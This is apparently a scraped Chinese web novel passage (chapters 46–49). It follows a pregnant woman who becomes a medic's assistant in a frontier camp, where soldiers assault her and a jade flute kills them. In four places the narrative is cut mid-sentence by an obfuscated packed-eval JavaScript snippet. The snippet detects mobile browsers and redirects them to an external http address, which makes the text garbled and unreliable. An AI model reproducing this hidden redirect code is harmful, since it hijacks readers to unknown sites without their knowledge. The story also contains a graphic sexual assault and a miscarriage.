吴盼秩领着我走进军营,脚下的沙地松软,每一步都像是要陷进去。营地里弥漫着一股混合着汗臭、铁锈和尘土的气息,令人窒息。 士兵们三三两两地聚在一起,有的在擦拭兵器,有的在低声交谈,目光却时不时地朝我这边瞟来。他们的眼神让我感到不安,那是一种复杂的、难以言喻的表情,像是惊讶,又像是压抑已久的某种情绪在蠢蠢欲动。 我下意识地低下头,不敢与他们对视。 吴盼秩全然一副熟视无睹的样子,大步走在前面。 “因为你是女人。” 他突然开口,却让我心头猛地一颤。 “日后,好自为之。” 我瞬间明白了他的意思,紧张到喉咙干哑,指尖攥紧不自觉地护上小腹。 驻守边疆,黄沙作伴,这里的将士们已经数年没有归家,常年与荒漠为伴,与刀剑为伍。而我,一个突然出现在军营中的女人,对他们来说,或许就像是一块许久未见的肥肉,充满了诱惑。 从踏进军营起,我感觉到背后有无数双眼睛在盯着我,像是饿狼盯着猎物,让我浑身发冷。吴盼秩的脚步没有停下,我只好紧紧跟在他身后,不敢回头,也不敢停下。 吴盼秩没有再多说什么,径直领着我去了军营的医帐。那是一间简陋的营帐,门口挂着一块破旧的木牌,上面歪歪扭扭地写着“医”字。 掀开帐帘之前,我心里有些忐忑。吴盼秩说军营里只有一位医师,名叫宁安桥,日后我就在他手下做事。 我不太擅长和中年男人打交道。我猜,宁安桥应该是个四十多岁的中年男子,如果像李叔那样,性情温和,总是笑眯眯的,说话慢条斯理,懂得如何让我适应新环境,还说得过去。 可当我走进医帐时,眼前的景象却让我愣住了。 “宁医师,你要的助手,给你找来了。” 我怔愣在营帐门口,宁安桥居然只是个二十几岁的年轻人?! 他穿着一身素净的灰布长衫,正低头整理着药箱,动作娴熟而专注。听到动静,他抬起头来,露出一张清冷的面容,眉眼间带着几分疏离,仿佛对周遭的一切都漠不关心。他的目光冷淡,甚至没有多看吴盼秩一眼,只是淡淡地扫了我一眼,便继续低头整理药材。 “这位就是宁安桥,军营里唯一的医师。”吴盼秩简短地向我介绍,“日后,你就在他手下做事。” 宁安桥没有应声,甚至连头都没抬一下,仿佛吴盼秩说的话与他无关。吴盼秩似乎也早习惯了他这副目中无人的态度,也不多言,说要去和大将军贺将军打声招呼后,转身离开了营帐。 帐帘落下的一瞬间,到外面的风沙似乎也被隔绝在外,只剩下药草的气息和宁安桥冷峻的侧脸。 “你叫什么名字?” 宁安桥终于开口,声音清冷,像是冬日里的寒风,不带一丝温度。兴许是边疆待久的缘故吧。 “我……叫楚风。” 宁安桥闻言,嘴角微微勾起,冷哼一声,对上我的视线。 “楚风?我还以为叫‘抽风’呢。” 换做是旁人,我或许会以为这是在开玩笑,可宁安桥那张冷脸说出这句话,一点都不觉得好笑,只觉得恐怖。他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120746|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神冰冷,像是能刺穿人心,让我不由得打了个寒颤。 我低下头,不敢再与他对视。这张冷脸一定是生来如此,对谁都一副爱答不理的样子,哪怕是吴盼秩这种朝中重臣的身份,他也不放在眼里。这样的一个人,我该如何与他相处?在他手下做事,不就纯粹找罪受吗! “你会什么?”宁安桥突然问道,语气中带着几分不耐。 我犹豫了一下,“我认得些草药……” 他闻言,不耐烦地“啧”了一声,低声骂了一句:“有什么用。”他以为我没听到,可那声音清清楚楚地传进了我的耳朵。我抬起头,一脸疑惑地看着他,他却只是冷冷地扫了我一眼,随手从桌上抓起一根石杵,塞到我手里,指了指角落里堆成小山的草药。 “今天之内把这些研磨完,才准去休息。” 我接过石杵,默默看向角落的药草。那些草药堆得像座小山,光是看着就让人头皮发麻。可我不敢反驳,只能默默走到角落,蹲下身开始研磨。石杵沉重,每一下都像是在敲打我的心口。宁安桥没有再理会我,自顾自地整理着药箱,帐内只剩下石杵与药臼碰撞的沉闷声响。 忽然,我想起吴盼秩还没给我安排住处,犹豫了片刻,还是鼓起勇气问宁安桥。 “宁医师,我……以后住哪儿?” 他又是不耐烦的样子,怪我聒噪,冷冷地瞥了我一眼,随即转过身去继续忙手里的事。帐内一时安静得只剩下他整理药材的窸窣声和我手中石杵与药臼碰撞的沉闷声响。 过了好一会儿,他才头也不回地丢出一句:“你就在这儿睡。” 我愣了一下,下意识地环顾四周。医帐内陈设简陋,除了几张摆放药材的木架和一张破旧的桌案,角落里确实有一张勉强能称之为床榻的东西。可那床榻上铺着的草席已经发黑,边缘还沾着些暗褐色的污渍。我眯起眼睛细细观察,心里猛地一沉——那污渍分明是干涸的血迹,斑驳交错,像是从伤者身上渗出来的。 我喉咙发紧,弱弱地又问了一句:“还有……别处的住处吗?” 我并不认为这里是能住人的地方。不为我,也为了腹中的孩子,我只好硬着头皮争取。 他手中的动作顿了顿,冷冷地吐出两个字:“没有。” 语气干脆利落,毫无商量的余地。我张了张嘴,还想再说什么,可看到他那张冷若冰霜的脸,终究还是把话咽了回去。低下头,继续机械地研磨着草药。 石杵在药臼中来回碾磨,发出沉闷的声响。我偷偷抬眼看了看那张床榻,心里一阵发毛,又泛起恶心。那上面躺过多少伤重垂死的将士,而如今要我在这张床上安眠?是安息吧! 46. 万恨千愁 夜幕渐渐降临,帐外的风沙声愈发清晰,像是无数细小的刀刃在帐外呼啸。我揉了揉酸胀的手腕,看着角落里那堆还未研磨完的草药,心里一阵无力。颠簸了两个月还没来得及没喘口气,又累到现在,小腹也隐隐不舒服。想到腹中的孩子,我咬了咬牙,决定今晚先休息。被骂了再说,眼下,无论如何得先把睡觉的地方收拾出来。 我走到那张沾着血迹的床榻边,暗褐色的污渍像是无声的警告。有魔音贯耳,不断提醒我这上面发生过什么。我实在下不了决心直接躺上去,便环顾四周,试图找些东西来垫一垫。可医帐内除了药材和器具,什么都没有。我翻了个遍,甚至连块干净的布都找不到。 天无绝人之路,总有办法。 无奈之下,我决定去后勤处看看,或许能找到些剩余的被子或草席。 我掀开帐帘,外面的风沙扑面而来,呛得我咳嗽了几声。初秋的边疆已有了冬日般的寒冷,夜色沉沉,军营里只有零星的篝火在风中摇曳,映照出守夜士兵模糊的身影。我紧了紧衣襟,低着头快步朝后勤处的方向走去。 吴盼秩给我指过,好像在西北角…… 可刚走出没多远,就感觉到有几道目光从身后的暗处落在了我身上。我心里一紧,加快了脚步,可还没走几步,就听到身后传来一阵低沉的脚步声。我还没来得及回头,一只粗糙的手突然从背后伸过来,死死捂住了我的口鼻。我惊恐地挣扎,可对方的力气极大,我根本挣脱不开。另一只手箍住了我的腰,将我整个人拖向一旁。 “唔——!” 我拼命想喊,可声音被堵在喉咙里,只能发出微弱的呜咽。我的手脚胡乱踢打,可对方似乎早有准备,三两下就将我制服。我被拖进了一处昏暗的角落,四周堆满了废弃的木箱和杂物,远处篝火的光亮几乎照不到这里。 “嘘——别乱动,小娘子。”一个低沉的声音在我耳边响起,带着几分戏谑和贪婪。我浑身发抖,感觉到有几双手在我身上胡乱摸索,粗重的呼吸声混杂着低笑,像是饿狼围住了猎物。 “放开我!”我好不容易挣开一点缝隙,刚喊出声,嘴又被死死捂住。恐惧像潮水一样涌上来,我拼命挣扎,可对方的力气太大,我根本无力反抗。小腹隐隐作痛,我心里一阵绝望,眼泪不受控制地涌了出来。 “小娘子身上还挺有肉。肚子圆鼓鼓的,嘿嘿——” 面前的人□□着恶心的嘴唇擦过我微微隆起的肚皮。 “呕——”我忍不住恶心。 他们的手像是铁钳一样死死箍住我,任凭我怎么踢打、撕咬,都无济于事。黑暗中,我只能看到他们模糊的身影和那双双发亮的眼睛,像是野兽盯着猎物,充满了贪婪和欲望。我的喉咙被掐得生疼,呼吸越来越困难,眼前一阵阵发黑。耳边是他们低沉的狞笑和粗重的喘息,混杂着风沙的呼啸声,像是从地狱深处传来的回响。 “求求你们……放过我……”我艰难地从喉咙里挤出几个字,声音微弱得几乎听不见。可他们根本不在乎,反而笑得更加猖狂。我的挣扎渐渐无力,手脚像是灌了铅一样沉重,连抬起来的力气都没有了。小腹的疼痛越来越剧烈,像是有一把刀在里面搅动,疼得我几乎要晕过去。 我闭上眼睛,眼泪顺着脸颊滑落。 没有人会来救我,这里是军营,是荒漠,里外都是饿狼的世间。而我,一个手无缚鸡之力的女子,注定要成为他们的玩物。 孩子……我的孩子…… 手指无力地搭在小腹上,心里涌起一阵撕心裂肺的痛楚。我连自己都保护不了,又怎么保护他? 风沙依旧在耳边呼啸,像是无数细小的刀刃割在我的心上。我蜷缩在角落里,像是一只被抛弃的破布娃娃,任由他们摆布。绝望像是一张无形的网,将我紧紧裹住,越收越紧,直到我喘不过气来。 无尽黑暗的深渊,绝望吞噬一切。 我闭上眼,绝望像潮水一样淹没了我,耳边只剩下他们粗重的喘息和狞笑。风沙依旧在呼啸,可那声音仿佛离我越来越远,像是从另一个世界传来。我的意识开始模糊,身体像是被撕裂成碎片,疼痛和屈辱让我几乎要昏死过去。 就在这时,一缕清冷的笛声忽然划破了夜空。 那笛声悠远而空灵,像是从遥远的天际传来,又像是从心底深处响起。曲调婉转,带着几分熟悉的哀伤——是那支玉笛吹奏过的曲子。我猛地睁开眼,恍惚间仿佛看到了那个曾经在信州府的月夜下,吹奏竹笛的身影。可那身影转瞬即逝,只剩下笛声在耳边回荡。 颜卿……我好想你啊…… 我咬紧嘴唇,咽下到嘴边的名字。 那几个士兵也听到了笛声,动作忽然停了下来。他们面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120747|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面相觑,脸上露出一丝慌乱。 “谁在那儿?”其中一人低声喝道,神色不安。 笛声依旧在继续,曲调渐渐变得急促,像是狂风骤雨般席卷而来。那几个士兵显然被这突如其来的笛声吓到了,手忙脚乱地提起裤子,四处张望。 “不会是鬼吧……”另一个人低声嘟囔,眼神慌乱。 “快走!被大将军发现就完了!”为首的那人低声吼道,转身就要跑。 可就在他们转身的瞬间,笛声骤然一停,空气中仿佛有什么东西猛地绷紧。紧接着,几声闷响传来,像是利刃刺穿血肉的声音。我瞪大了眼睛,看着那几个士兵的身体猛地一僵,随即七窍流血,脸上的表情扭曲得可怕。他们的眼睛、鼻子、耳朵里涌出大量的鲜血,像是被什么东西从内部撕裂开来。 “啊——!” 其中一人发出一声凄厉的惨叫,旋即重重地倒在地上,身体抽搐了几下,便再也不动弹了。另外几个人也接连倒下,五个人以相同的死状倒在我面前,像是被无形的利刃贯穿,极其恐怖。 我蜷缩在角落里,浑身发抖,连呼吸都几乎停滞。刚才还在狞笑的五个人,顷刻之间变成了几具冰冷的尸体,鲜血染红了地面,空气中弥漫着浓重的血腥味。 笛声再次响起,这一次更加清晰,仿佛就在我耳边。我抬起头,看到那支玉笛悬浮在半空中,散发着淡淡的青光。 “神器……” 我忽然想起在信州的时候,黑无常告诉过我,说这是南风仙子的法器,是南风仙子和他们做交易的信物。黑无常带走了我腹中的孩子,把玉笛给了我…… “所以……这支玉笛是我的?” 我后知后觉,连自己都难以置信地自言自语。 玉笛像是听懂了我的话,缓缓落在我面前。我颤抖着伸出手,接住了它。就在我触碰到玉笛的瞬间,它忽然失去了光泽,变得黯淡无光,像是普通的玉石一般。我刚想喊它,就听见不远处传来一阵沉重的脚步声。 一个身材魁梧的男人从黑暗中走了出来。他穿着一身厚重的铠甲,面容冷峻,眉宇间带着几分威严。他看了看地上的尸体,又看了看我,眉头一皱。低沉而有力,是不敢违抗的命令。 夜风依旧在呼啸,可我的命运,恐怕从这一刻起,已经完蛋了。 “你跟我来。” 47. 肝肠寸断 夜风卷着砂砾擦过染血的甲胄,发出细碎的呜咽。 玄甲染血的男人自浓墨般的夜色里踏出,靴底碾过凝固的血泊时,我正把半截指甲深深掐进掌心。五具尸体横亘在我们之间,月光将他的影子拉成长剑,剑尖正抵着我蜷缩的脚背。 血珠顺着抓破的掌心滴落,在黄沙上洇出暗红的花。腹中忽地绞痛,仿佛有把生锈的钩子在搅动脏腑。 我死死咬住下唇,血腥味漫进口腔——不能喊疼,不能在这人面前露出半分软弱。 "新来的女医官?" 他的声音比想象中温和,却让我脊背绷得更紧。 玄铁护腕擦过佩刀吞口,带起一串铁器特有的冷香。我盯着他战袍下摆绣的云雷纹,忽见暗银丝线正在渗血——是地上蜿蜒的血河爬上了金线。 喉头一紧,我猛地干呕出声,酸水混着血丝溅在沙地上。 "禀将军!"远处奔来的亲兵举着火把刹住脚步,火光跃动间映出满地狼藉,"西北哨岗……这是!" "拖到验尸帐。"男人抬手截断禀报,铁鳞甲随动作哗啦作响,似毒蛇褪去鳞片。 "你,跟我来。" 主帐的牛皮门帘掀开时,我踉跄着撞到兵器架。一柄环首刀应声而落,被他凌空抄住。跳动的烛光里,我终于看清他眉骨那道疤,蜿蜒如蜈蚣爬过山峦。 帐内药香浮动,炭盆边堆着几卷染血的绷带,铜盆里的血水正映出我煞白的脸——像极了枉死城游荡的孤魂。 "贺祈骁。"他突然开口,正往陶炉添炭的手顿了顿,火星在青铜兽首炉口炸开,"定边军主帅。不必害怕,我是个明事理的人,你只需要将实情一一告知与我。" 跃动的火光映亮案头堆着的边防图,某处朱砂标记红得刺眼,似未干的血渍。 我扶着药箱慢慢跪坐在毡垫上,小腹的抽痛变成绵密的针扎。帐外传来拖拽尸体的摩擦声,混着巡夜士兵整齐的踏步,像催命的更漏。腕间突然刺痛,消失的玉笛在肌肤上烙出优昙花纹,转瞬又隐没不见。 "那五个人,怎么死的?" 茶汤在粗陶碗里晃出涟漪。我盯着水面倒影里自己破碎的脸。 "不知道……他们突然就……" 喉间哽住,仿佛那些粗糙的手掌还掐在颈间。 "我不过是想去寻床被褥……" 护甲与案几相撞的脆响让我浑身一颤。贺祈骁突然倾身,阴影如黑云压城般笼罩下来。我本能地蜷缩,后腰撞上冰凉的帐柱,却见他从案头抽出一卷文牒:"三天前,河西村三十七口暴毙,死状与今夜相同。三天前,姑娘的车正好停靠在河西村附近吧。" 泛黄的纸页在眼前展开,绘像上扭曲的人体与帐外尸体重叠。 这是……要把罪名全部扣在我头上吗! 腹中猛地抽痛,冷汗浸透中衣——若被当作凶手,这孩子还未出世就要……继那个被黑无常带走的婴孩后,我连最后的念想都守不住了吗? "心脉尽碎而体表无伤。"他指尖点在某处朱批,指尖叩出沉闷声响,"三年前陇西军哗变,十七人便是这般死在水牢。" 帐外狂风骤起,卷着砂石拍打牛皮帐壁,似万千冤魂在哭嚎。我攥住衣摆的手背青筋暴起,喉间铁锈味愈浓:"将军若认定是我……" "你做不到。"他突然截断话头,将温好的茶推过来,氤氲热气模糊了眉眼,"此等手法需三十年精纯内力。" 陶碗在掌心轻颤,热水溅上手背。 "而你,连这茶盏都端不稳。" 贺祈骁俯下身,半蹲下身细细打量我。利刃般目光最终落在我始终用手护住的小腹上。 “你难道——” 话音未落,青色帐帘掀起,挟进一缕苦艾气息。 宁安桥挟着寒气入帐,苍白的指尖正从药箱铜扣上移开,指甲泛着久病般的青灰。他扫过我凌乱的衣襟时,眼尾朱砂痣微微一动,恍若溅落的血珠,旋即垂目行礼:"禀大将军,尸身颅骨内皆有虫蜕。" 贺祈骁的指节叩在舆图边缘,青铜护甲与檀木相击,发出催命符般的声响。 "是血线蛊。" 宁安桥的声音像浸过冰泉,打开药箱夹层时琉璃瓶寒光凛冽,蜷缩其中的赤红虫尸正微微颤动,"西域秘术,虫卵随饮食入体,蛰伏期三年。" 他忽然转向我,光斑落在我染血的袖口,"楚姑娘可曾在那五人身上见过晶屑?" 我手中的陶碗突然倾斜,茶水泼湿了裙裾。 那些士兵暴凸的眼球在记忆里晃动,分明是玉笛青光贯穿天灵所致,何来蛊虫?! 宁安桥仍在不紧不慢地陈述,烛光在他瓷白的脸上投下阴影:"前些日子这批人押送过东凉俘虏,想必是那时着了道。" 贺祈骁摩挲着指腹沉吟片刻,再望向我时,凌厉的眸光竟似春雪初融。 "楚姑娘从信州一路辛苦,本将会差人送新被褥到医帐。"玄色大氅随动作扬起,露出内衬暗绣的优昙花纹,"边关苦寒,只能委屈姑娘与药炉同眠了。" "谢……谢过大将军。" 我起身屈膝行礼,发间步摇突然松动,青丝如瀑垂落肩头。 贺祈骁的目光再次看向我的小腹。 我敢肯定,他一定知道了什么。 夜风卷着沙砾扑在脸上,远处焚尸的焦臭味混着宁安桥身上的苦艾香。 转过粮草垛时,我猛地拽住他的衣袖,提到嗓子眼的心还在如雷鼓动,无法平息。 “谢谢宁医师……那些人……当真是蛊?” 暗淡的眸子映出我狼狈的倒影,无情地拨开我抓住他的手。 "自然是——"月光爬上他淡漠的眉眼,"假的。" 宁安桥直截了当地坦白了他对大将军说了谎。 说罢,从他袖中露出半截青玉色管身,消失的神器此刻竟在他掌心泛着幽幽月光。 ……是玉笛! "但将军需要这个说法。"他将玉笛塞回我手中,"在边关,活人的说辞比真相金贵。" 更鼓声从瞭望台荡开,惊起夜枭掠过残月。宁安桥的背影融进黑暗前,抛下一句散在风里的话:"量你也没有杀人的本事,将军不会怀疑你的。不过探探你是个什么人,放不放心留你在此。" 我怔愣片刻,小跑着跟上他。 “那你何必编那谎话?” 他冷哼一声,停下脚步。 “比起神仙术法,蛊术,更有说服力,不是吗。” 他不起波澜地说着这些,我心里紧张地拧成一团,将手中的玉笛握得紧紧的。 神仙术法……他如何知道的…… 突然“嚓”一个声音从我脚下传来,我被惊得冷汗都忘了怎么冒。 “一条蛇而已,大惊小怪。” “……” 一条蛇,而已。 我居然踩到了一条不知死了多久已经风干的蛇。 我默默压下自己惊惧的心情,用无声的沉默来假装自己不害怕。 “记得撒一些驱蛇虫的药粉在门口。” “嗯。” 宁安桥停下了脚步,突然转过来抓住我的手腕往他身前一带,惊得我差点喊出声来。 “走路要看路。” 我低下头,原来是自己差点踩到一根木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125057|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棍。 宁安桥很快松开我,没再说话径直回了自己的住处。 塞北的风吵得根本睡不着。 我蜷在咯吱作响的行军榻上,腹中绞痛似生了锈的刀尖在搅动。塞外的夜风撕扯着帆布帐篷,忽明忽暗的铜火盆将兵器架的影子抻长,扭曲成戈矛林立的鬼魅。各种草药混杂的味道与血腥气在帐内浮沉,混着未干的马革腥膻往喉头钻。 身下垫的狼皮早被冷汗泡得发硬,隔着一层陈旧阴湿的粗麻布,粗粝毛茬扎进腿弯。薄被堪堪遮住小腹,指尖捏着的被角已扯出棉絮,却压不住那阵坠痛——仿佛有人攥着我腹中那团血肉,一寸寸往黄泉路上拖拽。 "别怕……娘亲不会让你有事的……" 我对着虚空呢喃,蜡油顺着烛台蜿蜒成狰狞的琥珀,恍惚听得婴孩笑声从药碾的沟壑里渗出来。 又一阵剧痛袭来,我咬住衣裳,蓬乱鬓发遮住虚弱的面。 帐外战马突然嘶鸣,惊得牛皮水囊在木架上晃荡,几点残水落在炭盆里,滋滋腾起裹着铁锈味的白烟。 我盯着梁上悬着的干药草,防风与羌活在风里晃成虚影。边关的星辰该落在石臼上,而我的星星正随着身下漫开的温热,一点一点坠入不见底的寒渊。 清洗完被血迹弄脏的床单,身体也没有昨夜那般痛楚,我决定去见见那位大将军。 如果猜得没错,不出意外的话,那位贺将军应该是猜到了我怀有身孕。 晨光劈开戈壁的浓雾,贺祈骁像柄黑铁战刀插在演武场高台上。 三十五岁的将军身形如墨松挺拔,玄铁轻甲泛着经年血渍浸染的乌光,正负手看着台下新兵操练。 他的胞弟贺祈安正在沙场中央挥动令旗,银甲折射着朝阳,喝令声震得黄沙都在颤动:"第三列!雁翎阵变锥形!" 我缩在粮车后头,突然想起信州茶馆里说书人唾沫横飞的八卦——贺大将军后宅可比前线还热闹! "要说贺大将军的姻缘啊,那可是金玉裹着黄连!" 那日我坐在角落吃茶听趣闻,不知是说书人,就连台下的几个绸缎商都说得眉飞色舞。 "陈员外当真豁得出去,把嫡女塞进贺府当妾,也不怕辱没门楣?" "你懂个屁!" 胖商人往地上啐了口瓜子皮,"贺家手握兵权,常年驻守边疆,若不是皇帝只有一位公主,那不还得许配给大将军!" “一妻一妾有什么用,自从大将军的三弟死后,他可再没离开过边疆呢。”说话人突然放低声音,“我听说,是为了查明当年真正的死因。” “什么死因啊。”身旁之人摆了摆手,“近些年东凉蠢蠢欲动,是要开战的节奏。” “我可听说,那贺小将军的死就和东凉皇帝有关。莫非故意挑起战争?” “这可不能胡乱说啊。”说着,手刃划过脖颈。 "手腕要稳!"贺祈骁突然喝出声,惊得前排小兵木枪脱手。他搭着高台围栏俯身,眉骨旧疤随皱眉的动作拧成弓弦:"祈安,加强训练,所有人打起精神来!马上入冬了,不想在这荒漠冻死就练起来!" 底下银甲将军立即抱拳领命,转身时马尾飞扬如战旗。 贺祈安,指挥使,贺祈骁的二弟。生得一副春水映梨花的清隽样貌,眉眼轮廓比他大哥柔和三分,未语先含三分笑。银丝软甲总松垮罩在月白云纹锦袍外,腰间悬的鎏金算盘与青铜虎符相撞,叮咚声里竟透出几分琴韵。 砂砾突然迷了眼,再抬头时高台上已空无一人。身后铁鳞甲擦着砂石地发出碎响,甲胄的气息混着血腥味压过来, "楚姑娘对贺家枪法感兴趣?" 48. 胡笳羌笛 “楚姑娘对贺家枪感兴趣?” 我浑身一僵,心跳骤然加快。 贺祈骁是什么时候站在我身后的?我竟一点都没察觉。 他的声音低沉而柔和,却让我感到一阵莫名的心虚。 我缓缓转过身,低着头不敢看他,声音轻得几乎被风淹没:“不是……”顿了顿,我又急忙补充道:“我只是路过。打扰了将军,我这就离开。” 说完,我匆匆行了一礼,转身快步离开,脚步凌乱,仿佛身后有什么可怕的东西在追赶。 沙场上的风卷起尘土,扑在我的脸上,带着些许刺痛。我抬手擦了擦脸颊,却不知擦去的是尘土,还是眼角微微渗出的慌乱。想问的话也没敢问出口。罢了,妇道人家的事,他一个大将军也不会跟谁提起,不值一提。 刚跑出沙场,我便与从营帐内走出来的宁安桥撞了个正着。他身形高大,像一座山般挡在我面前,我一时没站稳,踉跄了一下,险些摔倒。他伸手扶住我的肩膀,力道大得让我感到一阵疼痛。 “去哪了?”他的声音冷得像冰,目光如刀般扫过我。 我稳住身形,低着头不敢看他,声音怯得像是从喉咙里挤出来的。 “方便去了。” 他冷哼一声,松开手。 “事情忙完了?昨晚让你弄的草药也没弄完,就四处闲逛?病房还有几位的药没熬出来,快去。” 我咬了咬唇,心中一阵委屈,却又不敢反驳,只得低声应道“是。” 晨光透过窗棂洒进来,我蹲在药炉旁,手中的蒲扇机械地扇动着,炉火忽明忽暗,映得我的脸也忽明忽暗。药罐里的药汁咕嘟咕嘟地冒着泡,苦涩的气味弥漫在空气中,呛得我喉咙发紧。 正出神间,药罐里的药汁突然溢了出来,溅在我的手背上。我痛得倒吸一口冷气,连忙放下蒲扇,用衣袖擦了擦手背上的药汁。皮肤已经被烫得发红,火辣辣的疼。我咬了咬牙,强忍着疼痛,继续扇动蒲扇。 突然,门外传来一阵急促的脚步声,紧接着是一个年轻士兵焦急的声音。 “宁医师在吗?有个病人突然不舒服,需要赶紧看看!” 我手一抖,蒲扇差点掉在地上。连忙站起身,“宁医师不在,我可以去看看。” 那士兵愣了一下,目光在我脸上扫过,似乎有些犹豫。但很快,他点了点头,语气急促:“那麻烦姑娘快些,病人疼得厉害!” 我放下蒲扇,匆匆擦了擦手,跟着士兵快步走出药房。 “病人是什么症状?” “说是胸口闷得慌,喘不上气,脸色也发白,看着怪吓人的。” 我点点头,心里暗自盘算着可能的病因。脚下的步子不由得加快了几分。 到了病人的营帐,我掀开帘子走进去,只见一个年轻的士兵正蜷缩在床上,脸色苍白,额头上满是冷汗。他的手紧紧抓着胸口,呼吸急促,像是被什么压住了似的。 我快步走到床边,俯身轻声问道:“哪里不舒服?” 那士兵紧闭着眼,眉头紧锁,脸上露出一副痛苦的表情,嘴里含糊地嘟囔着:“痒……” “痒?哪里痒?”我愣了一下,心里有些疑惑。 胸闷气短全身发痒?这是什么症状,以前学过的书上有见过吗。 他忽然停下挣扎,像是瞬间痊愈一样,猛地睁开眼,目光炯炯地看向我,语气惊讶。 “女人?咱们军营啥时候来女的了?” 我被他突如其来的转变弄得有些措手不及,脸上微微一热,下意识地后退半步。 “我刚到……”话说到一半,忽然觉得哪里不对,皱了皱眉,“你不是不舒服吗?怎么就……好了?” 他咧开嘴笑了笑,露出一口白牙。 “你是医师?那你给我好好看看,我这后背,痒得难受。” 说罢,他猛地掀开衣服,动作利落地把全身裸露在我面前。我猝不及防,视线避无可避,一下子什么都看到了。他的胸膛和后背布满了大大小小的伤口,有些已经结痂,有些却还在渗着血水,甚至有几处已经溃烂,隐隐能闻到一股腐烂的味道。 “我知道了……你先赶紧把衣服穿上。” 他却毫不在意。 “穿上怎么看?”他侧过身,把后背对着我,“你看看我这后背是怎么了?” 我咬了咬牙,强迫自己冷静下来,目光落在他后背的伤口上。那些溃烂的伤口触目惊心,腐烂的气味让我忍不住皱了皱眉。 “你这伤口已经感染了,得赶紧处理。你先趴着,不要碰到伤口,我马上来给你上药。” 他倒是听话,乖乖地趴了下去。 “哎,医师姑娘,我这人怕疼,别又拿针扎我啊。” 我快步跑回药房,目光迅速在架子上扫过,希望能找到一些能用上的药膏。 正当我手忙脚乱地翻找时,身后突然传来一道冷冰冰的声音:“你干什么?” 我惊了一下,手里的药瓶差点掉在地上。回头看去,宁安桥正站在门口,眉头微皱,目光如刀般扫过我,脸上带着毫不掩饰的淡漠。 我避开他的视线,翻阅从医鹿山跟了我一路的书。 “有个士兵后背的伤已经开始溃烂,得赶紧处理。” 他又是不屑地冷哼,“你不是只认得些草药,知道怎么处理?” “我……我有师尊给的医书,上面兴许有些方法。” “师尊?”他的声音沉了几分,“柳砚清吗?” 我惊奇地看向他,“你认识师尊?” 他没有回答我的问题,只是冷冷地扫了我一眼,走到一边的药架子前。 “那本书的话,上面没有写刀枪伤口的处理办法。这个交给我,你去煎药。” “可——” 我张了张嘴,还想说什么,他打断我的话,语气不容置疑。 “少接触血腥的。” 见我怔愣着不动,又斥道“快去。” 心里有些不甘,却又不敢反驳。宁安桥是怕我添乱,病急乱用药,所以才不要我去的吧。 我低下头,转身走向药炉,拿起蒲扇继续扇动炉火。 我偷偷瞥了一眼宁安桥,只见他从药架上取了几瓶药膏和纱布,动作利落地收拾好,转身朝门外走去。他的背影高大而挺拔,步伐稳健。 柳砚清……宁安桥认识柳砚清? 不对,柳砚清可是仙人,医术界祖师爷般的存在,学医者不会不知道他。宁安桥如此肯定那本书上的没有治疗方法,肯定是把那本书熟读了千百遍。 药煎好后,还是得我去送去病房。心里祈祷别再让我看到什么不该看到的了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一唱一和说完,两个人都笑了,笑声里却带着几分苦涩。我却笑不出来,心里像是压了一块石头。不明白他们为什么明知前方生死未卜,还能如此淡然,谈笑生死。 “为什么……”我低声问道,声音里带着一丝颤抖。 他们一齐望向我,眼神里带着疑惑。 “不是应该祈祷自己活下去,活着回去见娘亲吗?”我深吸一口气,分别看向他们,语气里带着几分责备和不解,“你们娘亲还等着你们回家团圆,你们却在这里说这些窝囊话,就这么想死吗!” “姑娘你,生气啦?”那名士兵挠了挠头,脸上带着几分尴尬。 “我们不过缓和气氛嘛。”另一名士兵笑着解释道,“谁会想死呢,我还没成亲了,还没摸过女人,我才不要这么早就死。” 我一时语塞,不知道该说什么好。他们的语气轻松,像是在开玩笑,可我却从他们的眼神里看到了一丝无奈和隐忍。或许,他们并不是真的看淡生死,只是用这种方式来掩饰内心的恐惧和不安。 我低下头,轻轻叹了口气,语气放缓了些。 “你们……要好好活下去。你们的娘亲,一定在等着你们回家。天下没有那个娘亲愿意看着自己的孩子同自己生离死别。” 哪怕还只在腹中。 他们沉默了一会儿,随后那名士兵笑了笑。 “姑娘说得对,我们得活着回去。不然,娘亲该多伤心啊。” 我也无奈地跟着笑了笑。 “不过话说回来,姑娘你看看我这伤嘛,说不定你看一眼它就好了。” “不看!把衣服穿上!” 49. 秋风惊绿 “专心做事,不要分心。” 裙摆不知何时沾上了一片暗红的血迹,像是绽开的一朵残败的花。 